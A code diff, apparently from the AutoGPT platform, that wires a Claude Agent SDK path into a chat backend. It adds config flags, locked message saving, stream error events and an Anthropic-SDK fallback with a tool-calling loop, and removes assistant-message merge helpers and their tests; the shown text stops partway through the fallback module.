fix(chat/sdk): validate proxy URL before blanking ANTHROPIC_API_KEY

Only override ANTHROPIC_API_KEY="" when both a valid base_url (starts
with http) and api_key are configured. Otherwise fall back to SDK
default credentials so direct Anthropic usage still works.

autogpt_platform/backend/Dockerfile

@@ -62,12 +62,16 @@ ENV POETRY_HOME=/opt/poetry \
     DEBIAN_FRONTEND=noninteractive
 ENV PATH=/opt/poetry/bin:$PATH
 
-# Install Python, FFmpeg, and ImageMagick (required for video processing blocks)
+# Install Python, FFmpeg, ImageMagick, and CLI tools for agent use
+# CLI tools match ALLOWED_BASH_COMMANDS in security_hooks.py
 RUN apt-get update && apt-get install -y \
     python3.13 \
     python3-pip \
     ffmpeg \
     imagemagick \
+    jq \
+    ripgrep \
+    tree \
     && rm -rf /var/lib/apt/lists/*
 
 # Copy only necessary files from builder

autogpt_platform/backend/backend/api/features/chat/config.py

@@ -27,12 +27,11 @@ class ChatConfig(BaseSettings):
     session_ttl: int = Field(default=43200, description="Session TTL in seconds")
 
     # Streaming Configuration
-    max_context_messages: int = Field(
-        default=50, ge=1, le=200, description="Maximum context messages"
-    )
-
     stream_timeout: int = Field(default=300, description="Stream timeout in seconds")
-    max_retries: int = Field(default=3, description="Maximum number of retries")
+    max_retries: int = Field(
+        default=3,
+        description="Max retries for fallback path (SDK handles retries internally)",
+    )
     max_agent_runs: int = Field(default=30, description="Maximum number of agent runs")
     max_agent_schedules: int = Field(
         default=30, description="Maximum number of agent schedules"
@@ -93,6 +92,27 @@ class ChatConfig(BaseSettings):
         description="Name of the prompt in Langfuse to fetch",
     )
 
+    # Claude Agent SDK Configuration
+    use_claude_agent_sdk: bool = Field(
+        default=True,
+        description="Use Claude Agent SDK for chat completions",
+    )
+    claude_agent_model: str | None = Field(
+        default=None,
+        description="Model for the Claude Agent SDK path. If None, derives from "
+        "the `model` field by stripping the OpenRouter provider prefix.",
+    )
+    claude_agent_max_budget_usd: float | None = Field(
+        default=None,
+        gt=0,
+        description="Max budget in USD per Claude Agent SDK session (None = unlimited)",
+    )
+    claude_agent_max_buffer_size: int = Field(
+        default=10 * 1024 * 1024,  # 10MB (default SDK is 1MB)
+        description="Max buffer size in bytes for Claude Agent SDK JSON message parsing. "
+        "Increase if tool outputs exceed the limit.",
+    )
+
     # Extended thinking configuration for Claude models
     thinking_enabled: bool = Field(
         default=True,
@@ -138,6 +158,17 @@ class ChatConfig(BaseSettings):
             v = os.getenv("CHAT_INTERNAL_API_KEY")
         return v
 
+    @field_validator("use_claude_agent_sdk", mode="before")
+    @classmethod
+    def get_use_claude_agent_sdk(cls, v):
+        """Get use_claude_agent_sdk from environment if not provided."""
+        # Check environment variable - default to True if not set
+        env_val = os.getenv("CHAT_USE_CLAUDE_AGENT_SDK", "").lower()
+        if env_val:
+            return env_val in ("true", "1", "yes", "on")
+        # Default to True (SDK enabled by default)
+        return True if v is None else v
+
     # Prompt paths for different contexts
     PROMPT_PATHS: dict[str, str] = {
         "default": "prompts/chat_system.md",

autogpt_platform/backend/backend/api/features/chat/model.py

@@ -2,7 +2,7 @@ import asyncio
 import logging
 import uuid
 from datetime import UTC, datetime
-from typing import Any, cast
+from typing import Any
 from weakref import WeakValueDictionary
 
 from openai.types.chat import (
@@ -104,26 +104,6 @@ class ChatSession(BaseModel):
     successful_agent_runs: dict[str, int] = {}
     successful_agent_schedules: dict[str, int] = {}
 
-    def add_tool_call_to_current_turn(self, tool_call: dict) -> None:
-        """Attach a tool_call to the current turn's assistant message.
-
-        Searches backwards for the most recent assistant message (stopping at
-        any user message boundary). If found, appends the tool_call to it.
-        Otherwise creates a new assistant message with the tool_call.
-        """
-        for msg in reversed(self.messages):
-            if msg.role == "user":
-                break
-            if msg.role == "assistant":
-                if not msg.tool_calls:
-                    msg.tool_calls = []
-                msg.tool_calls.append(tool_call)
-                return
-
-        self.messages.append(
-            ChatMessage(role="assistant", content="", tool_calls=[tool_call])
-        )
-
     @staticmethod
     def new(user_id: str) -> "ChatSession":
         return ChatSession(
@@ -192,47 +172,6 @@ class ChatSession(BaseModel):
             successful_agent_schedules=successful_agent_schedules,
         )
 
-    @staticmethod
-    def _merge_consecutive_assistant_messages(
-        messages: list[ChatCompletionMessageParam],
-    ) -> list[ChatCompletionMessageParam]:
-        """Merge consecutive assistant messages into single messages.
-
-        Long-running tool flows can create split assistant messages: one with
-        text content and another with tool_calls. Anthropic's API requires
-        tool_result blocks to reference a tool_use in the immediately preceding
-        assistant message, so these splits cause 400 errors via OpenRouter.
-        """
-        if len(messages) < 2:
-            return messages
-
-        result: list[ChatCompletionMessageParam] = [messages[0]]
-        for msg in messages[1:]:
-            prev = result[-1]
-            if prev.get("role") != "assistant" or msg.get("role") != "assistant":
-                result.append(msg)
-                continue
-
-            prev = cast(ChatCompletionAssistantMessageParam, prev)
-            curr = cast(ChatCompletionAssistantMessageParam, msg)
-
-            curr_content = curr.get("content") or ""
-            if curr_content:
-                prev_content = prev.get("content") or ""
-                prev["content"] = (
-                    f"{prev_content}\n{curr_content}" if prev_content else curr_content
-                )
-
-            curr_tool_calls = curr.get("tool_calls")
-            if curr_tool_calls:
-                prev_tool_calls = prev.get("tool_calls")
-                prev["tool_calls"] = (
-                    list(prev_tool_calls) + list(curr_tool_calls)
-                    if prev_tool_calls
-                    else list(curr_tool_calls)
-                )
-        return result
-
     def to_openai_messages(self) -> list[ChatCompletionMessageParam]:
         messages = []
         for message in self.messages:
@@ -319,7 +258,7 @@ class ChatSession(BaseModel):
                         name=message.name or "",
                     )
                 )
-        return self._merge_consecutive_assistant_messages(messages)
+        return messages
 
 
 async def _get_session_from_cache(session_id: str) -> ChatSession | None:
@@ -334,9 +273,8 @@ async def _get_session_from_cache(session_id: str) -> ChatSession | None:
     try:
         session = ChatSession.model_validate_json(raw_session)
         logger.info(
-            f"Loading session {session_id} from cache: "
-            f"message_count={len(session.messages)}, "
-            f"roles={[m.role for m in session.messages]}"
+            f"[CACHE] Loaded session {session_id}: {len(session.messages)} messages, "
+            f"last_roles={[m.role for m in session.messages[-3:]]}"  # Last 3 roles
         )
         return session
     except Exception as e:
@@ -378,11 +316,9 @@ async def _get_session_from_db(session_id: str) -> ChatSession | None:
         return None
 
     messages = prisma_session.Messages
-    logger.info(
-        f"Loading session {session_id} from DB: "
-        f"has_messages={messages is not None}, "
-        f"message_count={len(messages) if messages else 0}, "
-        f"roles={[m.role for m in messages] if messages else []}"
+    logger.debug(
+        f"[DB] Loaded session {session_id}: {len(messages) if messages else 0} messages, "
+        f"roles={[m.role for m in messages[-3:]] if messages else []}"  # Last 3 roles
     )
 
     return ChatSession.from_db(prisma_session, messages)
@@ -433,10 +369,9 @@ async def _save_session_to_db(
                     "function_call": msg.function_call,
                 }
             )
-        logger.info(
-            f"Saving {len(new_messages)} new messages to DB for session {session.session_id}: "
-            f"roles={[m['role'] for m in messages_data]}, "
-            f"start_sequence={existing_message_count}"
+        logger.debug(
+            f"[DB] Saving {len(new_messages)} messages to session {session.session_id}, "
+            f"roles={[m['role'] for m in messages_data]}"
         )
         await chat_db.add_chat_messages_batch(
             session_id=session.session_id,
@@ -476,7 +411,7 @@ async def get_chat_session(
         logger.warning(f"Unexpected cache error for session {session_id}: {e}")
 
     # Fall back to database
-    logger.info(f"Session {session_id} not in cache, checking database")
+    logger.debug(f"Session {session_id} not in cache, checking database")
     session = await _get_session_from_db(session_id)
 
     if session is None:
@@ -493,7 +428,6 @@ async def get_chat_session(
     # Cache the session from DB
     try:
         await _cache_session(session)
-        logger.info(f"Cached session {session_id} from database")
     except Exception as e:
         logger.warning(f"Failed to cache session {session_id}: {e}")
 
@@ -558,6 +492,40 @@ async def upsert_chat_session(
         return session
 
 
+async def append_and_save_message(session_id: str, message: ChatMessage) -> ChatSession:
+    """Atomically append a message to a session and persist it.
+
+    Acquires the session lock, re-fetches the latest session state,
+    appends the message, and saves — preventing message loss when
+    concurrent requests modify the same session.
+    """
+    lock = await _get_session_lock(session_id)
+
+    async with lock:
+        session = await get_chat_session(session_id)
+        if session is None:
+            raise ValueError(f"Session {session_id} not found")
+
+        session.messages.append(message)
+        existing_message_count = await chat_db.get_chat_session_message_count(
+            session_id
+        )
+
+        try:
+            await _save_session_to_db(session, existing_message_count)
+        except Exception as e:
+            raise DatabaseError(
+                f"Failed to persist message to session {session_id}"
+            ) from e
+
+        try:
+            await _cache_session(session)
+        except Exception as e:
+            logger.warning(f"Cache write failed for session {session_id}: {e}")
+
+        return session
+
+
 async def create_chat_session(user_id: str) -> ChatSession:
     """Create a new chat session and persist it.
 
@@ -664,13 +632,19 @@ async def update_session_title(session_id: str, title: str) -> bool:
             logger.warning(f"Session {session_id} not found for title update")
             return False
 
-        # Invalidate cache so next fetch gets updated title
+        # Update title in cache if it exists (instead of invalidating).
+        # This prevents race conditions where cache invalidation causes
+        # the frontend to see stale DB data while streaming is still in progress.
         try:
-            redis_key = _get_session_cache_key(session_id)
-            async_redis = await get_redis_async()
-            await async_redis.delete(redis_key)
+            cached = await _get_session_from_cache(session_id)
+            if cached:
+                cached.title = title
+                await _cache_session(cached)
         except Exception as e:
-            logger.warning(f"Failed to invalidate cache for session {session_id}: {e}")
+            # Not critical - title will be correct on next full cache refresh
+            logger.warning(
+                f"Failed to update title in cache for session {session_id}: {e}"
+            )
 
         return True
     except Exception as e:

autogpt_platform/backend/backend/api/features/chat/model_test.py

@@ -1,16 +1,4 @@
-from typing import cast
-
 import pytest
-from openai.types.chat import (
-    ChatCompletionAssistantMessageParam,
-    ChatCompletionMessageParam,
-    ChatCompletionToolMessageParam,
-    ChatCompletionUserMessageParam,
-)
-from openai.types.chat.chat_completion_message_tool_call_param import (
-    ChatCompletionMessageToolCallParam,
-    Function,
-)
 
 from .model import (
     ChatMessage,
@@ -129,205 +117,3 @@ async def test_chatsession_db_storage(setup_test_user, test_user_id):
                 loaded.tool_calls is not None
             ), f"Tool calls missing for {orig.role} message"
             assert len(orig.tool_calls) == len(loaded.tool_calls)
-
-
-# --------------------------------------------------------------------------- #
-#  _merge_consecutive_assistant_messages                                       #
-# --------------------------------------------------------------------------- #
-
-_tc = ChatCompletionMessageToolCallParam(
-    id="tc1", type="function", function=Function(name="do_stuff", arguments="{}")
-)
-_tc2 = ChatCompletionMessageToolCallParam(
-    id="tc2", type="function", function=Function(name="other", arguments="{}")
-)
-
-
-def test_merge_noop_when_no_consecutive_assistants():
-    """Messages without consecutive assistants are returned unchanged."""
-    msgs = [
-        ChatCompletionUserMessageParam(role="user", content="hi"),
-        ChatCompletionAssistantMessageParam(role="assistant", content="hello"),
-        ChatCompletionUserMessageParam(role="user", content="bye"),
-    ]
-    merged = ChatSession._merge_consecutive_assistant_messages(msgs)
-    assert len(merged) == 3
-    assert [m["role"] for m in merged] == ["user", "assistant", "user"]
-
-
-def test_merge_splits_text_and_tool_calls():
-    """The exact bug scenario: text-only assistant followed by tool_calls-only assistant."""
-    msgs = [
-        ChatCompletionUserMessageParam(role="user", content="build agent"),
-        ChatCompletionAssistantMessageParam(
-            role="assistant", content="Let me build that"
-        ),
-        ChatCompletionAssistantMessageParam(
-            role="assistant", content="", tool_calls=[_tc]
-        ),
-        ChatCompletionToolMessageParam(role="tool", content="ok", tool_call_id="tc1"),
-    ]
-    merged = ChatSession._merge_consecutive_assistant_messages(msgs)
-
-    assert len(merged) == 3
-    assert merged[0]["role"] == "user"
-    assert merged[2]["role"] == "tool"
-    a = cast(ChatCompletionAssistantMessageParam, merged[1])
-    assert a["role"] == "assistant"
-    assert a.get("content") == "Let me build that"
-    assert a.get("tool_calls") == [_tc]
-
-
-def test_merge_combines_tool_calls_from_both():
-    """Both consecutive assistants have tool_calls — they get merged."""
-    msgs: list[ChatCompletionAssistantMessageParam] = [
-        ChatCompletionAssistantMessageParam(
-            role="assistant", content="text", tool_calls=[_tc]
-        ),
-        ChatCompletionAssistantMessageParam(
-            role="assistant", content="", tool_calls=[_tc2]
-        ),
-    ]
-    merged = ChatSession._merge_consecutive_assistant_messages(msgs)  # type: ignore[arg-type]
-
-    assert len(merged) == 1
-    a = cast(ChatCompletionAssistantMessageParam, merged[0])
-    assert a.get("tool_calls") == [_tc, _tc2]
-    assert a.get("content") == "text"
-
-
-def test_merge_three_consecutive_assistants():
-    """Three consecutive assistants collapse into one."""
-    msgs: list[ChatCompletionAssistantMessageParam] = [
-        ChatCompletionAssistantMessageParam(role="assistant", content="a"),
-        ChatCompletionAssistantMessageParam(role="assistant", content="b"),
-        ChatCompletionAssistantMessageParam(
-            role="assistant", content="", tool_calls=[_tc]
-        ),
-    ]
-    merged = ChatSession._merge_consecutive_assistant_messages(msgs)  # type: ignore[arg-type]
-
-    assert len(merged) == 1
-    a = cast(ChatCompletionAssistantMessageParam, merged[0])
-    assert a.get("content") == "a\nb"
-    assert a.get("tool_calls") == [_tc]
-
-
-def test_merge_empty_and_single_message():
-    """Edge cases: empty list and single message."""
-    assert ChatSession._merge_consecutive_assistant_messages([]) == []
-
-    single: list[ChatCompletionMessageParam] = [
-        ChatCompletionUserMessageParam(role="user", content="hi")
-    ]
-    assert ChatSession._merge_consecutive_assistant_messages(single) == single
-
-
-# --------------------------------------------------------------------------- #
-#  add_tool_call_to_current_turn                                               #
-# --------------------------------------------------------------------------- #
-
-_raw_tc = {
-    "id": "tc1",
-    "type": "function",
-    "function": {"name": "f", "arguments": "{}"},
-}
-_raw_tc2 = {
-    "id": "tc2",
-    "type": "function",
-    "function": {"name": "g", "arguments": "{}"},
-}
-
-
-def test_add_tool_call_appends_to_existing_assistant():
-    """When the last assistant is from the current turn, tool_call is added to it."""
-    session = ChatSession.new(user_id="u")
-    session.messages = [
-        ChatMessage(role="user", content="hi"),
-        ChatMessage(role="assistant", content="working on it"),
-    ]
-    session.add_tool_call_to_current_turn(_raw_tc)
-
-    assert len(session.messages) == 2  # no new message created
-    assert session.messages[1].tool_calls == [_raw_tc]
-
-
-def test_add_tool_call_creates_assistant_when_none_exists():
-    """When there's no current-turn assistant, a new one is created."""
-    session = ChatSession.new(user_id="u")
-    session.messages = [
-        ChatMessage(role="user", content="hi"),
-    ]
-    session.add_tool_call_to_current_turn(_raw_tc)
-
-    assert len(session.messages) == 2
-    assert session.messages[1].role == "assistant"
-    assert session.messages[1].tool_calls == [_raw_tc]
-
-
-def test_add_tool_call_does_not_cross_user_boundary():
-    """A user message acts as a boundary — previous assistant is not modified."""
-    session = ChatSession.new(user_id="u")
-    session.messages = [
-        ChatMessage(role="assistant", content="old turn"),
-        ChatMessage(role="user", content="new message"),
-    ]
-    session.add_tool_call_to_current_turn(_raw_tc)
-
-    assert len(session.messages) == 3  # new assistant was created
-    assert session.messages[0].tool_calls is None  # old assistant untouched
-    assert session.messages[2].role == "assistant"
-    assert session.messages[2].tool_calls == [_raw_tc]
-
-
-def test_add_tool_call_multiple_times():
-    """Multiple long-running tool calls accumulate on the same assistant."""
-    session = ChatSession.new(user_id="u")
-    session.messages = [
-        ChatMessage(role="user", content="hi"),
-        ChatMessage(role="assistant", content="doing stuff"),
-    ]
-    session.add_tool_call_to_current_turn(_raw_tc)
-    # Simulate a pending tool result in between (like _yield_tool_call does)
-    session.messages.append(
-        ChatMessage(role="tool", content="pending", tool_call_id="tc1")
-    )
-    session.add_tool_call_to_current_turn(_raw_tc2)
-
-    assert len(session.messages) == 3  # user, assistant, tool — no extra assistant
-    assert session.messages[1].tool_calls == [_raw_tc, _raw_tc2]
-
-
-def test_to_openai_messages_merges_split_assistants():
-    """End-to-end: session with split assistants produces valid OpenAI messages."""
-    session = ChatSession.new(user_id="u")
-    session.messages = [
-        ChatMessage(role="user", content="build agent"),
-        ChatMessage(role="assistant", content="Let me build that"),
-        ChatMessage(
-            role="assistant",
-            content="",
-            tool_calls=[
-                {
-                    "id": "tc1",
-                    "type": "function",
-                    "function": {"name": "create_agent", "arguments": "{}"},
-                }
-            ],
-        ),
-        ChatMessage(role="tool", content="done", tool_call_id="tc1"),
-        ChatMessage(role="assistant", content="Saved!"),
-        ChatMessage(role="user", content="show me an example run"),
-    ]
-    openai_msgs = session.to_openai_messages()
-
-    # The two consecutive assistants at index 1,2 should be merged
-    roles = [m["role"] for m in openai_msgs]
-    assert roles == ["user", "assistant", "tool", "assistant", "user"]
-
-    # The merged assistant should have both content and tool_calls
-    merged = cast(ChatCompletionAssistantMessageParam, openai_msgs[1])
-    assert merged.get("content") == "Let me build that"
-    tc_list = merged.get("tool_calls")
-    assert tc_list is not None and len(list(tc_list)) == 1
-    assert list(tc_list)[0]["id"] == "tc1"

autogpt_platform/backend/backend/api/features/chat/routes.py

@@ -1,5 +1,6 @@
 """Chat API routes for chat session management and streaming via SSE."""
 
+import asyncio
 import logging
 import uuid as uuid_module
 from collections.abc import AsyncGenerator
@@ -16,8 +17,16 @@ from . import service as chat_service
 from . import stream_registry
 from .completion_handler import process_operation_failure, process_operation_success
 from .config import ChatConfig
-from .model import ChatSession, create_chat_session, get_chat_session, get_user_sessions
-from .response_model import StreamFinish, StreamHeartbeat
+from .model import (
+    ChatMessage,
+    ChatSession,
+    append_and_save_message,
+    create_chat_session,
+    get_chat_session,
+    get_user_sessions,
+)
+from .response_model import StreamError, StreamFinish, StreamHeartbeat, StreamStart
+from .sdk import service as sdk_service
 from .tools.models import (
     AgentDetailsResponse,
     AgentOutputResponse,
@@ -40,6 +49,7 @@ from .tools.models import (
     SetupRequirementsResponse,
     UnderstandingUpdatedResponse,
 )
+from .tracking import track_user_message
 
 config = ChatConfig()
 
@@ -231,6 +241,10 @@ async def get_session(
     active_task, last_message_id = await stream_registry.get_active_task_for_session(
         session_id, user_id
     )
+    logger.info(
+        f"[GET_SESSION] session={session_id}, active_task={active_task is not None}, "
+        f"msg_count={len(messages)}, last_role={messages[-1].get('role') if messages else 'none'}"
+    )
     if active_task:
         # Filter out the in-progress assistant message from the session response.
         # The client will receive the complete assistant response through the SSE
@@ -300,10 +314,9 @@ async def stream_chat_post(
         f"user={user_id}, message_len={len(request.message)}",
         extra={"json_fields": log_meta},
     )
-
     session = await _validate_and_get_session(session_id, user_id)
     logger.info(
-        f"[TIMING] session validated in {(time.perf_counter() - stream_start_time)*1000:.1f}ms",
+        f"[TIMING] session validated in {(time.perf_counter() - stream_start_time) * 1000:.1f}ms",
         extra={
             "json_fields": {
                 **log_meta,
@@ -312,6 +325,25 @@ async def stream_chat_post(
         },
     )
 
+    # Atomically append user message to session BEFORE creating task to avoid
+    # race condition where GET_SESSION sees task as "running" but message isn't
+    # saved yet.  append_and_save_message re-fetches inside a lock to prevent
+    # message loss from concurrent requests.
+    if request.message:
+        message = ChatMessage(
+            role="user" if request.is_user_message else "assistant",
+            content=request.message,
+        )
+        if request.is_user_message:
+            track_user_message(
+                user_id=user_id,
+                session_id=session_id,
+                message_length=len(request.message),
+            )
+        logger.info(f"[STREAM] Saving user message to session {session_id}")
+        session = await append_and_save_message(session_id, message)
+        logger.info(f"[STREAM] User message saved for session {session_id}")
+
     # Create a task in the stream registry for reconnection support
     task_id = str(uuid_module.uuid4())
     operation_id = str(uuid_module.uuid4())
@@ -327,7 +359,7 @@ async def stream_chat_post(
         operation_id=operation_id,
     )
     logger.info(
-        f"[TIMING] create_task completed in {(time.perf_counter() - task_create_start)*1000:.1f}ms",
+        f"[TIMING] create_task completed in {(time.perf_counter() - task_create_start) * 1000:.1f}ms",
         extra={
             "json_fields": {
                 **log_meta,
@@ -348,15 +380,43 @@ async def stream_chat_post(
         first_chunk_time, ttfc = None, None
         chunk_count = 0
         try:
-            async for chunk in chat_service.stream_chat_completion(
+            # Emit a start event with task_id for reconnection
+            start_chunk = StreamStart(messageId=task_id, taskId=task_id)
+            await stream_registry.publish_chunk(task_id, start_chunk)
+            logger.info(
+                f"[TIMING] StreamStart published at {(time_module.perf_counter() - gen_start_time) * 1000:.1f}ms",
+                extra={
+                    "json_fields": {
+                        **log_meta,
+                        "elapsed_ms": (time_module.perf_counter() - gen_start_time)
+                        * 1000,
+                    }
+                },
+            )
+
+            # Choose service based on configuration
+            use_sdk = config.use_claude_agent_sdk
+            stream_fn = (
+                sdk_service.stream_chat_completion_sdk
+                if use_sdk
+                else chat_service.stream_chat_completion
+            )
+            logger.info(
+                f"[TIMING] Calling {'sdk' if use_sdk else 'standard'} stream_chat_completion",
+                extra={"json_fields": log_meta},
+            )
+            # Pass message=None since we already added it to the session above
+            async for chunk in stream_fn(
                 session_id,
-                request.message,
+                None,  # Message already in session
                 is_user_message=request.is_user_message,
                 user_id=user_id,
-                session=session,  # Pass pre-fetched session to avoid double-fetch
+                session=session,  # Pass session with message already added
                 context=request.context,
-                _task_id=task_id,  # Pass task_id so service emits start with taskId for reconnection
             ):
+                # Skip duplicate StreamStart — we already published one above
+                if isinstance(chunk, StreamStart):
+                    continue
                 chunk_count += 1
                 if first_chunk_time is None:
                     first_chunk_time = time_module.perf_counter()
@@ -377,7 +437,7 @@ async def stream_chat_post(
             gen_end_time = time_module.perf_counter()
             total_time = (gen_end_time - gen_start_time) * 1000
             logger.info(
-                f"[TIMING] run_ai_generation FINISHED in {total_time/1000:.1f}s; "
+                f"[TIMING] run_ai_generation FINISHED in {total_time / 1000:.1f}s; "
                 f"task={task_id}, session={session_id}, "
                 f"ttfc={ttfc or -1:.2f}s, n_chunks={chunk_count}",
                 extra={
@@ -404,6 +464,17 @@ async def stream_chat_post(
                     }
                 },
             )
+            # Publish a StreamError so the frontend can display an error message
+            try:
+                await stream_registry.publish_chunk(
+                    task_id,
+                    StreamError(
+                        errorText="An error occurred. Please try again.",
+                        code="stream_error",
+                    ),
+                )
+            except Exception:
+                pass  # Best-effort; mark_task_completed will publish StreamFinish
             await stream_registry.mark_task_completed(task_id, "failed")
 
     # Start the AI generation in a background task
@@ -506,8 +577,14 @@ async def stream_chat_post(
                     "json_fields": {**log_meta, "elapsed_ms": elapsed, "error": str(e)}
                 },
             )
+            # Surface error to frontend so it doesn't appear stuck
+            yield StreamError(
+                errorText="An error occurred. Please try again.",
+                code="stream_error",
+            ).to_sse()
+            yield StreamFinish().to_sse()
         finally:
-            # Unsubscribe when client disconnects or stream ends to prevent resource leak
+            # Unsubscribe when client disconnects or stream ends
             if subscriber_queue is not None:
                 try:
                     await stream_registry.unsubscribe_from_task(
@@ -751,8 +828,6 @@ async def stream_task(
         )
 
     async def event_generator() -> AsyncGenerator[str, None]:
-        import asyncio
-
         heartbeat_interval = 15.0  # Send heartbeat every 15 seconds
         try:
             while True:

autogpt_platform/backend/backend/api/features/chat/sdk/__init__.py

@@ -0,0 +1,14 @@
+"""Claude Agent SDK integration for CoPilot.
+
+This module provides the integration layer between the Claude Agent SDK
+and the existing CoPilot tool system, enabling drop-in replacement of
+the current LLM orchestration with the battle-tested Claude Agent SDK.
+"""
+
+from .service import stream_chat_completion_sdk
+from .tool_adapter import create_copilot_mcp_server
+
+__all__ = [
+    "stream_chat_completion_sdk",
+    "create_copilot_mcp_server",
+]

autogpt_platform/backend/backend/api/features/chat/sdk/anthropic_fallback.py

@@ -0,0 +1,363 @@
+"""Anthropic SDK fallback implementation.
+
+This module provides the fallback streaming implementation using the Anthropic SDK
+directly when the Claude Agent SDK is not available.
+"""
+
+import json
+import logging
+import uuid
+from collections.abc import AsyncGenerator
+from typing import Any, cast
+
+from ..config import ChatConfig
+from ..model import ChatMessage, ChatSession
+from ..response_model import (
+    StreamBaseResponse,
+    StreamError,
+    StreamFinish,
+    StreamTextDelta,
+    StreamTextEnd,
+    StreamTextStart,
+    StreamToolInputAvailable,
+    StreamToolInputStart,
+    StreamToolOutputAvailable,
+    StreamUsage,
+)
+from .tool_adapter import get_tool_definitions, get_tool_handlers
+
+logger = logging.getLogger(__name__)
+config = ChatConfig()
+
+# Maximum tool-call iterations before stopping to prevent infinite loops
+_MAX_TOOL_ITERATIONS = 10
+
+
+async def stream_with_anthropic(
+    session: ChatSession,
+    system_prompt: str,
+    text_block_id: str,
+) -> AsyncGenerator[StreamBaseResponse, None]:
+    """Stream using Anthropic SDK directly with tool calling support.
+
+    This function accumulates messages into the session for persistence.
+    The caller should NOT yield an additional StreamFinish - this function handles it.
+    """
+    import anthropic
+
+    # Use config.api_key (CHAT_API_KEY > OPEN_ROUTER_API_KEY > OPENAI_API_KEY)
+    # with config.base_url for OpenRouter routing — matching the non-SDK path.
+    api_key = config.api_key
+    if not api_key:
+        yield StreamError(
+            errorText="No API key configured (set CHAT_API_KEY or OPENAI_API_KEY)",
+            code="config_error",
+        )
+        yield StreamFinish()
+        return
+
+    # Build kwargs for the Anthropic client — use base_url if configured
+    client_kwargs: dict[str, Any] = {"api_key": api_key}
+    if config.base_url:
+        # Strip /v1 suffix — Anthropic SDK adds its own version path
+        base = config.base_url.rstrip("/")
+        if base.endswith("/v1"):
+            base = base[:-3]
+        client_kwargs["base_url"] = base
+
+    client = anthropic.AsyncAnthropic(**client_kwargs)
+    tool_definitions = get_tool_definitions()
+    tool_handlers = get_tool_handlers()
+
+    anthropic_tools = [
+        {
+            "name": t["name"],
+            "description": t["description"],
+            "input_schema": t["inputSchema"],
+        }
+        for t in tool_definitions
+    ]
+
+    anthropic_messages = _convert_session_to_anthropic(session)
+
+    if not anthropic_messages or anthropic_messages[-1]["role"] != "user":
+        anthropic_messages.append(
+            {"role": "user", "content": "Continue with the task."}
+        )
+
+    has_started_text = False
+    accumulated_text = ""
+    accumulated_tool_calls: list[dict[str, Any]] = []
+
+    for _ in range(_MAX_TOOL_ITERATIONS):
+        try:
+            async with client.messages.stream(
+                model=(
+                    config.model.split("/")[-1] if "/" in config.model else config.model
+                ),
+                max_tokens=4096,
+                system=system_prompt,
+                messages=cast(Any, anthropic_messages),
+                tools=cast(Any, anthropic_tools) if anthropic_tools else [],
+            ) as stream:
+                async for event in stream:
+                    if event.type == "content_block_start":
+                        block = event.content_block
+                        if hasattr(block, "type"):
+                            if block.type == "text" and not has_started_text:
+                                yield StreamTextStart(id=text_block_id)
+                                has_started_text = True
+                            elif block.type == "tool_use":
+                                yield StreamToolInputStart(
+                                    toolCallId=block.id, toolName=block.name
+                                )
+
+                    elif event.type == "content_block_delta":
+                        delta = event.delta
+                        if hasattr(delta, "type") and delta.type == "text_delta":
+                            accumulated_text += delta.text
+                            yield StreamTextDelta(id=text_block_id, delta=delta.text)
+
+                final_message = await stream.get_final_message()
+
+                if final_message.stop_reason == "tool_use":
+                    if has_started_text:
+                        yield StreamTextEnd(id=text_block_id)
+                        has_started_text = False
+                        text_block_id = str(uuid.uuid4())
+
+                    tool_results = []
+                    assistant_content: list[dict[str, Any]] = []
+
+                    for block in final_message.content:
+                        if block.type == "text":
+                            assistant_content.append(
+                                {"type": "text", "text": block.text}
+                            )
+                        elif block.type == "tool_use":
+                            assistant_content.append(
+                                {
+                                    "type": "tool_use",
+                                    "id": block.id,
+                                    "name": block.name,
+                                    "input": block.input,
+                                }
+                            )
+
+                            # Track tool call for session persistence
+                            accumulated_tool_calls.append(
+                                {
+                                    "id": block.id,
+                                    "type": "function",
+                                    "function": {
+                                        "name": block.name,
+                                        "arguments": json.dumps(
+                                            block.input
+                                            if isinstance(block.input, dict)
+                                            else {}
+                                        ),
+                                    },
+                                }
+                            )
+
+                            yield StreamToolInputAvailable(
+                                toolCallId=block.id,
+                                toolName=block.name,
+                                input=(
+                                    block.input if isinstance(block.input, dict) else {}
+                                ),
+                            )
+
+                            output, is_error = await _execute_tool(
+                                block.name, block.input, tool_handlers
+                            )
+
+                            yield StreamToolOutputAvailable(
+                                toolCallId=block.id,
+                                toolName=block.name,
+                                output=output,
+                                success=not is_error,
+                            )
+
+                            # Save tool result to session
+                            session.messages.append(
+                                ChatMessage(
+                                    role="tool",
+                                    content=output,
+                                    tool_call_id=block.id,
+                                )
+                            )
+
+                            tool_results.append(
+                                {
+                                    "type": "tool_result",
+                                    "tool_use_id": block.id,
+                                    "content": output,
+                                    "is_error": is_error,
+                                }
+                            )
+
+                    # Save assistant message with tool calls to session
+                    session.messages.append(
+                        ChatMessage(
+                            role="assistant",
+                            content=accumulated_text or None,
+                            tool_calls=(
+                                accumulated_tool_calls
+                                if accumulated_tool_calls
+                                else None
+                            ),
+                        )
+                    )
+                    # Reset for next iteration
+                    accumulated_text = ""
+                    accumulated_tool_calls = []
+
+                    anthropic_messages.append(
+                        {"role": "assistant", "content": assistant_content}
+                    )
+                    anthropic_messages.append({"role": "user", "content": tool_results})
+                    continue
+
+                else:
+                    if has_started_text:
+                        yield StreamTextEnd(id=text_block_id)
+
+                    # Save final assistant response to session
+                    if accumulated_text:
+                        session.messages.append(
+                            ChatMessage(role="assistant", content=accumulated_text)
+                        )
+
+                    yield StreamUsage(
+                        promptTokens=final_message.usage.input_tokens,
+                        completionTokens=final_message.usage.output_tokens,
+                        totalTokens=final_message.usage.input_tokens
+                        + final_message.usage.output_tokens,
+                    )
+                    yield StreamFinish()
+                    return
+
+        except Exception as e:
+            logger.error(f"[Anthropic Fallback] Error: {e}", exc_info=True)
+            yield StreamError(
+                errorText="An error occurred. Please try again.",
+                code="anthropic_error",
+            )
+            yield StreamFinish()
+            return
+
+    yield StreamError(errorText="Max tool iterations reached", code="max_iterations")
+    yield StreamFinish()
+
+
+def _convert_session_to_anthropic(session: ChatSession) -> list[dict[str, Any]]:
+    """Convert session messages to Anthropic format.
+
+    Handles merging consecutive same-role messages (Anthropic requires alternating roles).
+    """
+    messages: list[dict[str, Any]] = []
+
+    for msg in session.messages:
+        if msg.role == "user":
+            new_msg = {"role": "user", "content": msg.content or ""}
+        elif msg.role == "assistant":
+            content: list[dict[str, Any]] = []
+            if msg.content:
+                content.append({"type": "text", "text": msg.content})
+            if msg.tool_calls:
+                for tc in msg.tool_calls:
+                    func = tc.get("function", {})
+                    args = func.get("arguments", {})
+                    if isinstance(args, str):
+                        try:
